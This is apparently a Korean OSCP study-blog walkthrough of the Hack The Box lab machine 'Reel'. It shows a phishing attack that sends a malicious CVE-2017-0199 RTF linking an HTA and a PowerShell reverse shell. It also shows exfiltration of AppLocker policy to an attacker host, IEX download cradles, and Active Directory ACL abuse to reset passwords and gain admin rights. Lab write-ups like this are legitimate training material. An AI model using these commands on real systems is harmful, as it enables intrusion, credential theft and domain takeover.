[목차]

1. CASE 7 - HTB Reel

 


 

 

# CASE 7

- HTB Reel

[공략 과정 정리]

1. 포트 확인

21, 22, 25, 135, 129, 445, 593, 49159

특이사항 :

ftp 배너를 보면 windows 박스로 보이는데

ssh가 열려있다. 일반적으로 ssh는 linux에서

사용한다는 점을 고려했을 때 VM 등으로

구현된 무언가가 있을 수 있다고 추정해 본다.

 

 

 

 

2. Host OS 확인

windows default ttl = 128

linux default ttl = 64

cisco = 254

 

 

 

3. ftp enum

 

anonymous 로그인이 허용된 경우

password 입력 없이 접속이 가능한

경우와 임의의 값을 넣어야만 접속이

가능한 경우가 있다. 본 박스는 후자.

 

파일들 내려받은 후 확인

 

 

 

4. Files 확인

1) readme.txt

rtf : rich text format

25 SMTP가 활성화 중이라

피싱 challenge로 추측 가능

 

 

 

2) 두 개의 docx 파일

문서 creator : nico@megabank.com

문서 종류 : Microsoft Office Word

 

 

 

 

5. verify exist user

위에서 찾은 계정이 유효한지 test

# telnet 192.168.137.131
HELO takudaddy.com
MAIL FROM: <taku@daddy.com>
RCPT TO: <nico@megabank.com>
 

 

 

 

6. Macro 활용 예

우선 docx 문서 추가 확인

 

AppLocker에서 허용하지 않는

hash ruels 확인이 가능하며

위 포맷들은 다 걸러짐

 

 

# Word macro 제작 실험 예

메뉴 바 > quick parts > Field 메뉴

Categories : Links and References

Field names : IncludePicture

URL 입력

> word에서 위 문서를 열 때마다

이미지를 불러오고 내려받게 되며

이미지가 호출될 때마다 누군가가

문서를 열었음을 확인할 수 있다.

 

> 타깃에서 word를 사용하고 있지

않기 때문에 이 방법은 소용이 없지만

다양한 macro 공격 방법 중 하나라

소개

 

 

 

 

7. create malcious RTF / HTA file

* 파일 간 연계성 때문에 파일 이름 정확히 지정해야 함

 

# 공격 작동 원리 정리

a. 타깃에서 이메일로 받을 파일 포맷을

rtf 파일을 지정했다. 생성할 rtf 파일에는

hta 파일 링크가 포함되어 있을 것이다.

 

b. 타깃이 rtf를 받아 리뷰 및 converting을

하게 되면 생성해 둔 hta 파일이 받아지게 되며

hta 파일에는 리버스 쉘을 생성해 줄

Powershell 스크립트 링크가 포함되어 있다.

 

c. 최종적으로 리버스 쉘 스크립트가 실행되고

서버에 침투할 수 있게 된다.

 

 

1) create RFT file

https://github.com/bhdresh/CVE-2017-0199

# python cve-2017-0199_toolkit.py -M gen -w takudaddy.rtf -u 'http://192.168.49.137/takudaddy.hta' -t RTF -x 0
 

 

 

2) generate malicious HTA file

Out-HTA.ps1 스크립트 확인

https://github.com/samratashok/nishang/blob/master/Client/Out-HTA.ps1

 

HTA payloads 설명,

HTA (HTML Application) 파일 생성

 

linux 용 powershell인

pwsh에 로딩 후 명령어 입력 시

에러가 난다.

 

정상적으로 로딩이 안되는 것인데

이럴 때는 수동으로 로딩 후 사용하면

된다.

 

# 수동 로딩 후 스크립트 생성

a) xclip으로 복사 후

b) pwsh에 붙여넣기

 

c) 스크립트 생성

 

정상 생성된 파일 확인

> hta 파일 호출 시 takudaddy.ps1(리버스 쉘)이 실행

 

 

 

3) Invoke-PowerShellTcp.ps1 설정

Invoke-PowerShellTcp.ps1 세팅은

내용 중간 EXAMPLE을 복사 후

하단에 입력, IP&Port 수정 후 저장

HTA 파일 생성 시 리버스 쉘 스크립트 이름을

takudaddy.ps1으로 지정했기 때문에

동일한 이름으로 변경해 주면 준비 끝!

 

 

 

4) 준비된 rtf/hta/Invoke.. 파일 확인 및 정리

 

# 작동 원리 다시 한번 정리

1) 타깃에서 이메일로 받을 파일 포맷을

rtf 파일을 지정했다. rtf 파일에는

hta 파일 링크가 포함되어 있다.

 

2) 타깃이 rtf를 받아 리뷰 및 converting을

하게 되면 hta 파일이 받아지게 되며

hta 파일에는 리버스 쉘을 생성해 줄

Powershell 스크립트 링크가 포함되어 있다.

 

3) 최종적으로 리버스 쉘 스크립트가 실행되고

서버에 침투할 수 있게 된다.

 

 

 

 

8. Exploit

파이썬 웹 서버 + 리스너 기동 후

메일 전송

# sendEmail -f taku@megabank.com -t nico@megabank.com -u RTF -m "Convert this f" -a tadudaddy.rtf -s 192.168.137.131
 

침투 성공

 

 

 

9. AppLocker 확인

C:\>Get-ApplockerPolicy -Effective -xml
 

white list 확인이 가능하나

내용이 너무 많은 관계로

output을 별도 저장

$output = Get-ApplockerPolicy -Effective -xml
 

kali로 보낸 뒤 다시 확인

PS C:\> Invoke-RestMethod -Method PUT -Uri "http://192.168.49.51:7979/applocker.xml" -Body $output
 

 

 

10. Service 확인

PS C:\> Get-Service | where {$_.Status -eq "Running"}
 

> 의문이었던 ssh가

windows에서 돌아가고 있음

 

 

 

11. Users 확인

 

 

 

12. Secure password 확인

System.Management.Automation.PSCredential

secure password

 

 

# converting 작업

PS C:\> $pass = "cppied pass" | convertto-securestring
PS C:\> $user = "HTB\Tom"
PS C:\> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\> $cred.GetNetworkCredential()
PS C:\> $cred.GetNetworkCredential() | fl
 

 

 

 

 

13. ssh 로그인

>ssh는 타깃의 본 박스가 아닌 것으로 추정,

tom 계정을 활용한 공략법은 마지막에 추가 기재

 

 

 

14. Bloodhound

PS C:\> IEX(New-Object Net.WebClient).downloadString('http://192.168.49.51/BloodHound.ps1');
PS C:\> Invoke-Bloodhound
PS C:\> Invoke-Bloodhound -CollectionMethod All
 

: smbserver

# smbserver share 'pwd'
PS c:\> net use y: \\192.168.49.51\share
PS c:\> y:
PS c:\> copy *.zip y:
 

> 애러가 발생해 새로운

스크립트를 받아 내려받은 후

재실행

 

 

: bloodhound로 확인

 

 

 

15. Powerview.ps1

PS Q:\> Invoke-Bloodhound -CollectionMethod All
PS Q:\> Add-DomainObjectAcl -Identity Herman -OwnerIdentity nico
PS Q:\> Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose
 

 

> 다시 bloodhound 돌리면 내용이 다르다.

 

 

 

 

 

16. Reset Passwords & add admin groups

PS Q:\> $pass = ConverTo-SecureString 'password' -AsPlainText -Force
PS Q:\> Set-DomainUserPassword Herman -AccountPassword $pass -Verbose
 

ssh로 확인

reset password 성공

 

 

: Domain group member 확인 후 추가

PS Q:\> Get-DomainGroup -MemberIdentity Herman | select samaccountname
PS Q:\> $pass = ConverTo-SecureString 'password' -AsPlainText -Force
PS Q:\> $cred = New-Object System.Management.Automation.PSCredential('HTB\Herman', $pass)
PS Q:\> Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred
 

backup admin 그룹이 아니지만

 

admin으로 새로 추가해 준 뒤

다시 확인해보면

Backup Admins 그룹 맴버로 추가되었고

ssh로 접속해보면

admin 그룹이기에

administrator 디렉터리

접근이 가능!

 

 

 

17. 파일 탐색

C:\> type * | findstr password
 

 

> admin pass 확인,

ssh로 administrator 로그인

 

성공!

 

 

 

 

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

[+] AD 실습 환경 구축  (2) 2023.01.23
OSCP 시험 공략집  (8) 2022.09.13
AD 공략 4  (0) 2022.09.11
AD 공략 3  (0) 2022.09.11
AD 공략 2  (0) 2022.09.10

+ Recent posts